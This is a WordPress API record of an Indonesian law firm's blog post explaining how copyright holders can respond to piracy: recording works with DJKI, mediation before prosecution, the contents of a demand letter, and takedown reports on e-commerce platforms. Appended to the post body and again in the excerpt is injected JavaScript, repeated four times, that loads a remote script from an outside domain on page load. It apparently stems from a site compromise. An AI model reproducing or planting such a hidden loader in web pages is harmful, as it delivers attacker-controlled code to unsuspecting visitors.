{"id":4942,"date":"2024-06-01T09:44:46","date_gmt":"2024-06-01T09:44:46","guid":{"rendered":"https:\/\/affa.co.id\/?p=4942"},"modified":"2024-06-01T09:44:46","modified_gmt":"2024-06-01T09:44:46","slug":"apa-yang-harus-dilakukan-jika-karya-anda-dibajak","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2024\/06\/01\/apa-yang-harus-dilakukan-jika-karya-anda-dibajak\/","title":{"rendered":"Apa yang Harus Dilakukan Jika Karya Anda Dibajak?"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Dalam bahasa hukum, kita menggunakan istilah <\/span><b>Ciptaan<\/b><span style=\"font-weight: 400\"> untuk menyebut suatu karya. Seperti yang tercantum pada <\/span><b>Pasal 1 Undang-Undang No. 28 Tahun 2014 tentang Hak Cipta (UU Hak Cipta)<\/b><span style=\"font-weight: 400\">, dimana Ciptaan adalah setiap hasil karya cipta di bidang ilmu pengetahuan, seni, dan sastra yang dihasilkan atas inspirasi, kemampuan, pikiran, imajinasi, kecekatan, keterampilan, alau keahlian yang diekspresikan dalam bentuk nyata. Dan <\/span><b>Pencipta<\/b><span style=\"font-weight: 400\"> adalah orang atau beberapa orang yang menghasilkan suatu Ciptaan. Sedangkan <\/span><b>Pemegang Hak Cipta<\/b><span style=\"font-weight: 400\"> adalah Pencipta atau pihak lain, termasuk perusahaan yang juga diberikan hak oleh Pencipta untuk mendapatkan Hak Eksklusif dan manfaat ekonomi dari suatu Ciptaan.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Maka dari itu, jika ada pihak lain yang mendapatkan keuntungan dari suatu Ciptaan tanpa izin dari Pemegang Hak Cipta, bisa dikategorikan sebagai pelanggaran Hak Cipta. Secara khusus, kegiatan Pembajakan juga punya pengertian yang tertera jelas pada Pasal 1 Undang-Undang Hak Cipta, yakni Penggandaan Ciptaan dan\/atau produk Hak Terkait secara tidak sah dan pendistribusian barang hasil penggandaan dimaksud <\/span><i><span style=\"font-weight: 400\">secara luas <\/span><\/i><b><i>untuk memperoleh keuntungan ekonomi<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Karena keuntungan ekonomi adalah Hak Eksklusif dari Pemegang Hak Cipta dan pelanggaran masih tetap marak di era modern, jika Anda merupakan Pencipta atau Pemegang Hak Cipta, Anda perlu memahami hak-hak Anda dan tahu apa yang bisa dilakukan saat karya Anda dibajak.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Catatkan Ciptaan &#8211; Bukan Didaftarkan<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Pada dasarnya perlindungan Hak Cipta diberikan secara otomatis sejak karya cipta tersebut dihasilkan. Berbeda dengan Kekayaan Intelektual lainnya seperti Merek dan Paten yang harus didaftarkan terlebih dahulu untuk mendapatkan perlindungan. Maka dari itu, istilah yang digunakan untuk mendaftarkan Hak Cipta ke Direktorat Jenderal Kekayaan Intelektual (DJKI) &#8211; Kementerian Hukum dan HAM (Kemenkumham) adalah \u201cpencatatan.\u201d<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Untuk melakukan penuntutan atau gugatan kepada pihak yang dianggap melanggar Hak Cipta, tidak diperlukan pencatatan. Tapi jika terjadi sengketa mengenai kepemilikan Hak Cipta atas suatu ciptaan, Surat Pencatatan Ciptaan yang diterbitkan oleh Menteri, dalam hal ini DJKI, dan dicatatkan dalam Daftar Umum Ciptaan merupakan bukti awal kepemilikan suatu Ciptaan dan merupakan bukti yang kuat di Pengadilan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Dahulukan Mediasi Sebelum Tuntutan Pidana<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">UU Hak Cipta Pasal 95 Ayat (4) mengatur bahwa pelanggaran Hak Cipta termasuk pembajakan, harus menempuh jalur mediasi terlebih dahulu, sebelum melakukan tuntutan pidana.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Jadi jika Anda menemukan karya Anda dibajak, Anda dapat memberikan teguran informal terlebih dahulu, yang dilanjutkan dengan memberikan surat teguran atau somasi, jika tidak juga mendapatkan tanggapan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Isi dari Surat Teguran\/Somasi:<\/b><\/p>\n<p><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Secara umum tidak ada ada aturan baku yang mengatur isi dari sebuah surat somasi, namun harus menampilkan dengan jelas 5 (lima) hal berikut ini:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pihak yang dituju\/disomasi;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Masalah yang disomasikan;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Tuntutan\/keinginan dari pengirim somasi yang harus dilaksanakan oleh penerima somasi;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Dasar hukum dan <\/span><i><span style=\"font-weight: 400\">legal standing<\/span><\/i><span style=\"font-weight: 400\"> dari pihak yang memberikan somasi; dan<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jangka waktu tuntutan harus dipenuhi.<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Pelanggaran di Media Sosial\/E-Commerce<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Di era internet, pembajakan juga marak terjadi di berbagai platform media sosial dan e-commerce. Secara teknis, setiap platform juga telah menyediakan layanan aduan jika ditemukan barang bajakan. Mulai dari sistem report mandiri atau masuk ke halaman khusus yang disediakan jika Anda menemukan Merek atau Hak Cipta diperjualbelikan di sana tanpa izin.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Secara umum, Anda perlu menyiapkan 3 (tiga) hal berikut ini jika laporan Anda ingin ditindaklanjuti:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Bukti kepemilikan Ciptaan dalam bentuk Surat Pencatatan Ciptaan yang diterbitkan oleh Kemenkumham, surat pernyataan kepemilikan ciptaan yang Anda tandatangani, atau dokumen sejenisnya;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Bukti identitas Anda (KTP, SIM, paspor, atau sejenisnya); dan\u00a0<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Surat kuasa dari Pemilik Ciptaan sesuai dengan dokumen bukti kepemilikan Ciptaan yang Anda lampirkan (apabila Anda bukan pemilik Hak Cipta tetapi sebagai penerima kuasa dari pemilik Hak Cipta untuk melakukan laporan).<\/span><\/li>\n<\/ol>\n<p><b><i>Baca Juga:<\/i><\/b><b><i><br \/>\n<\/i><\/b><a href=\"https:\/\/affa.co.id\/bhs\/prosedur-pelaporan-barang-bajakan-di-ecommerce-indonesia\/\"><b><i>Prosedur Pelaporan Barang Bajakan di E-Commerce Indonesia<\/i><\/b><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Jika teguran Anda tidak digubris oleh Pembajak atau pemilik platform, Anda perlu menggandeng Konsultan Kekayaan Intelektual berpengalaman yang dapat memberikan saran lebih lanjut agar kegiatan pembajakan dari pihak lain ini dapat segera dihentikan, atau dilanjutkan ke tuntutan pidana ke Pengadilan Niaga.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Pelanggaran Oleh Sesama Pencipta<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Masalah yang juga sering terjadi dalam sengketa Hak Cipta adalah perselisihan antar Pencipta yang mengklaim dirinya berhak mendapatkan lebih dari yang lain. Misalnya sebuah komik yang diciptakan bersama oleh seorang ilustrator, seorang pewarna, dan pembuat cerita. Jika dikemudian hari pembuat cerita merasa bagiannya lebih kecil, ia dapat menuntut haknya. Juga kasus yang sempat viral dimana sebuah band disomasi, <\/span><a href=\"https:\/\/affa.co.id\/bhs\/penulis-larang-penyanyi-bawakan-lagunya-mungkinkah\/\"><span style=\"font-weight: 400\">dilarang membawakan lagu dari penulisnya yang sudah keluar dari band<\/span><\/a><span style=\"font-weight: 400\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Disitulah peran penting Pencatatan Hak Cipta ke DJKI, untuk menghindari sengketa yang mungkin timbul di kemudian hari antar Pencipta. Karena dalam Pencatatan Hak Cipta yang kemudian masuk dalam Daftar Umum Ciptaan DJKI, Anda dapat menyertakan semua Pencipta yang ada. Namun kembali lagi, jalur mediasi tetap yang paling disarankan sebelum dibawa ke persidangan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Lebih lanjut Anda juga dapat mendaftarkan Perjanjian Lisensi atas karya yang Anda punya. Karena bukan tidak mungkin Anda sebagai Pencipta dari sebuah karakter, membutuhkan vendor atau pihak lain yang juga berminat untuk mendapatkan manfaat ekonomi dari Ciptaan Anda. Misalnya, produsen kaos atau mainan berminat mengkomersilkan karya Anda dalam jumlah masif dan didistribusikan ke seluruh Indonesia, maka Anda perlu membuat Perjanjian Lisensi yang jelas, salah satunya dengam merinci berapa royalti atau skema bagi hasil yang akan Anda dapat,\u00a0 dan mendaftarkan perjanjian tersebut ke DJKI, sebagai pegangan yang kuat jika terjadi wanprestasi atau sengketa di kemudian hari.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b><i>Baca Juga:<\/i><\/b><b><i><br \/>\n<\/i><\/b><a href=\"https:\/\/affa.co.id\/bhs\/siapa-saja-pemegang-hak-cipta-dalam-industri-film-menurut-uu-hak-cipta\/\"><b><i>Siapa Saja Pemegang Hak Cipta dalam Industri Film Menurut UU Hak Cipta?<\/i><\/b><\/a><\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait perlindungan Hak Cipta di Indonesia atau manca negara, jangan ragu untuk menghubungi kami melalui <\/b><a href=\"mailto:emirsyah.dinar@affa.co.id\"><b>emirsyah.dinar@affa.co.id<\/b><\/a><b>.<\/b>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dalam bahasa hukum, kita menggunakan istilah Ciptaan untuk menyebut suatu karya. Seperti yang tercantum pada Pasal 1 Undang-Undang No. 28 Tahun 2014 tentang Hak Cipta (UU Hak Cipta), dimana Ciptaan adalah setiap hasil karya cipta di bidang ilmu pengetahuan, seni, dan sastra yang dihasilkan atas inspirasi, kemampuan, pikiran, imajinasi, kecekatan, keterampilan, alau keahlian yang diekspresikan dalam bentuk nyata. Dan Pencipta adalah orang atau beberapa orang yang menghasilkan suatu Ciptaan. Sedangkan Pemegang Hak Cipta adalah Pencipta atau pihak lain, termasuk perusahaan yang juga diberikan hak oleh Pencipta untuk mendapatkan Hak Eksklusif dan manfaat ekonomi dari suatu Ciptaan.\u00a0 &nbsp; Maka dari itu, jika ada pihak lain yang mendapatkan keuntungan dari suatu Ciptaan tanpa izin dari Pemegang Hak Cipta, bisa dikategorikan sebagai pelanggaran Hak Cipta. Secara khusus, kegiatan Pembajakan juga punya pengertian yang tertera jelas pada Pasal 1 Undang-Undang Hak Cipta, yakni Penggandaan Ciptaan dan\/atau produk Hak Terkait secara tidak sah dan pendistribusian barang hasil penggandaan dimaksud secara luas untuk memperoleh keuntungan ekonomi. &nbsp; Karena keuntungan ekonomi adalah Hak Eksklusif dari Pemegang Hak Cipta dan pelanggaran masih tetap marak di era modern, jika Anda merupakan Pencipta atau Pemegang Hak Cipta, Anda perlu memahami hak-hak Anda dan tahu apa yang bisa dilakukan saat karya Anda dibajak. &nbsp; Catatkan Ciptaan &#8211; Bukan Didaftarkan &nbsp; Pada dasarnya perlindungan Hak Cipta diberikan secara otomatis sejak karya cipta tersebut dihasilkan. Berbeda dengan Kekayaan Intelektual lainnya seperti Merek dan Paten yang harus didaftarkan terlebih dahulu untuk mendapatkan perlindungan. Maka dari itu, istilah yang digunakan untuk mendaftarkan Hak Cipta ke Direktorat Jenderal Kekayaan Intelektual (DJKI) &#8211; Kementerian Hukum dan HAM (Kemenkumham) adalah \u201cpencatatan.\u201d &nbsp; Untuk melakukan penuntutan atau gugatan kepada pihak yang dianggap melanggar Hak Cipta, tidak diperlukan pencatatan. Tapi jika terjadi sengketa mengenai kepemilikan Hak Cipta atas suatu ciptaan, Surat Pencatatan Ciptaan yang diterbitkan oleh Menteri, dalam hal ini DJKI, dan dicatatkan dalam Daftar Umum Ciptaan merupakan bukti awal kepemilikan suatu Ciptaan dan merupakan bukti yang kuat di Pengadilan. &nbsp; Dahulukan Mediasi Sebelum Tuntutan Pidana &nbsp; UU Hak Cipta Pasal 95 Ayat (4) mengatur bahwa pelanggaran Hak Cipta termasuk pembajakan, harus menempuh jalur mediasi terlebih dahulu, sebelum melakukan tuntutan pidana.\u00a0 &nbsp; Jadi jika Anda menemukan karya Anda dibajak, Anda dapat memberikan teguran informal terlebih dahulu, yang dilanjutkan dengan memberikan surat teguran atau somasi, jika tidak juga mendapatkan tanggapan. &nbsp; Isi dari Surat Teguran\/Somasi: Secara umum tidak ada ada aturan baku yang mengatur isi dari sebuah surat somasi, namun harus menampilkan dengan jelas 5 (lima) hal berikut ini: Pihak yang dituju\/disomasi; Masalah yang disomasikan; Tuntutan\/keinginan dari pengirim somasi yang harus dilaksanakan oleh penerima somasi; Dasar hukum dan legal standing dari pihak yang memberikan somasi; dan Jangka waktu tuntutan harus dipenuhi. &nbsp; Pelanggaran di Media Sosial\/E-Commerce &nbsp; Di era internet, pembajakan juga marak terjadi di berbagai platform media sosial dan e-commerce. Secara teknis, setiap platform juga telah menyediakan layanan aduan jika ditemukan barang bajakan. Mulai dari sistem report mandiri atau masuk ke halaman khusus yang disediakan jika Anda menemukan Merek atau Hak Cipta diperjualbelikan di sana tanpa izin.\u00a0 &nbsp; Secara umum, Anda perlu menyiapkan 3 (tiga) hal berikut ini jika laporan Anda ingin ditindaklanjuti: Bukti kepemilikan Ciptaan dalam bentuk Surat Pencatatan Ciptaan yang diterbitkan oleh Kemenkumham, surat pernyataan kepemilikan ciptaan yang Anda tandatangani, atau dokumen sejenisnya; Bukti identitas Anda (KTP, SIM, paspor, atau sejenisnya); dan\u00a0 Surat kuasa dari Pemilik Ciptaan sesuai dengan dokumen bukti kepemilikan Ciptaan yang Anda lampirkan (apabila Anda bukan pemilik Hak Cipta tetapi sebagai penerima kuasa dari pemilik Hak Cipta untuk melakukan laporan). Baca Juga: Prosedur Pelaporan Barang Bajakan di E-Commerce Indonesia &nbsp; Jika teguran Anda tidak digubris oleh Pembajak atau pemilik platform, Anda perlu menggandeng Konsultan Kekayaan Intelektual berpengalaman yang dapat memberikan saran lebih lanjut agar kegiatan pembajakan dari pihak lain ini dapat segera dihentikan, atau dilanjutkan ke tuntutan pidana ke Pengadilan Niaga. &nbsp; Pelanggaran Oleh Sesama Pencipta &nbsp; Masalah yang juga sering terjadi dalam sengketa Hak Cipta adalah perselisihan antar Pencipta yang mengklaim dirinya berhak mendapatkan lebih dari yang lain. Misalnya sebuah komik yang diciptakan bersama oleh seorang ilustrator, seorang pewarna, dan pembuat cerita. Jika dikemudian hari pembuat cerita merasa bagiannya lebih kecil, ia dapat menuntut haknya. Juga kasus yang sempat viral dimana sebuah band disomasi, dilarang membawakan lagu dari penulisnya yang sudah keluar dari band. &nbsp; Disitulah peran penting Pencatatan Hak Cipta ke DJKI, untuk menghindari sengketa yang mungkin timbul di kemudian hari antar Pencipta. Karena dalam Pencatatan Hak Cipta yang kemudian masuk dalam Daftar Umum Ciptaan DJKI, Anda dapat menyertakan semua Pencipta yang ada. Namun kembali lagi, jalur mediasi tetap yang paling disarankan sebelum dibawa ke persidangan. &nbsp; Lebih lanjut Anda juga dapat mendaftarkan Perjanjian Lisensi atas karya yang Anda punya. Karena bukan tidak mungkin Anda sebagai Pencipta dari sebuah karakter, membutuhkan vendor atau pihak lain yang juga berminat untuk mendapatkan manfaat ekonomi dari Ciptaan Anda. Misalnya, produsen kaos atau mainan berminat mengkomersilkan karya Anda dalam jumlah masif dan didistribusikan ke seluruh Indonesia, maka Anda perlu membuat Perjanjian Lisensi yang jelas, salah satunya dengam merinci berapa royalti atau skema bagi hasil yang akan Anda dapat,\u00a0 dan mendaftarkan perjanjian tersebut ke DJKI, sebagai pegangan yang kuat jika terjadi wanprestasi atau sengketa di kemudian hari. &nbsp; Baca Juga: Siapa Saja Pemegang Hak Cipta dalam Industri Film Menurut UU Hak Cipta? Jika Anda membutuhkan informasi lebih lanjut terkait perlindungan Hak Cipta di Indonesia atau manca negara, jangan ragu untuk menghubungi kami melalui emirsyah.dinar@affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":4941,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[377],"tags":[384,413,427,428,429,305,308,310,333],"class_list":["post-4942","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-copyright","tag-affaipr","tag-youripisourexpertise","tag-hakcipta","tag-intellctualproperty","tag-kekayaanintelektual","tag-affa","tag-ip","tag-ki","tag-copyright"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4942","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=4942"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4942\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/4941"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=4942"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=4942"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=4942"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}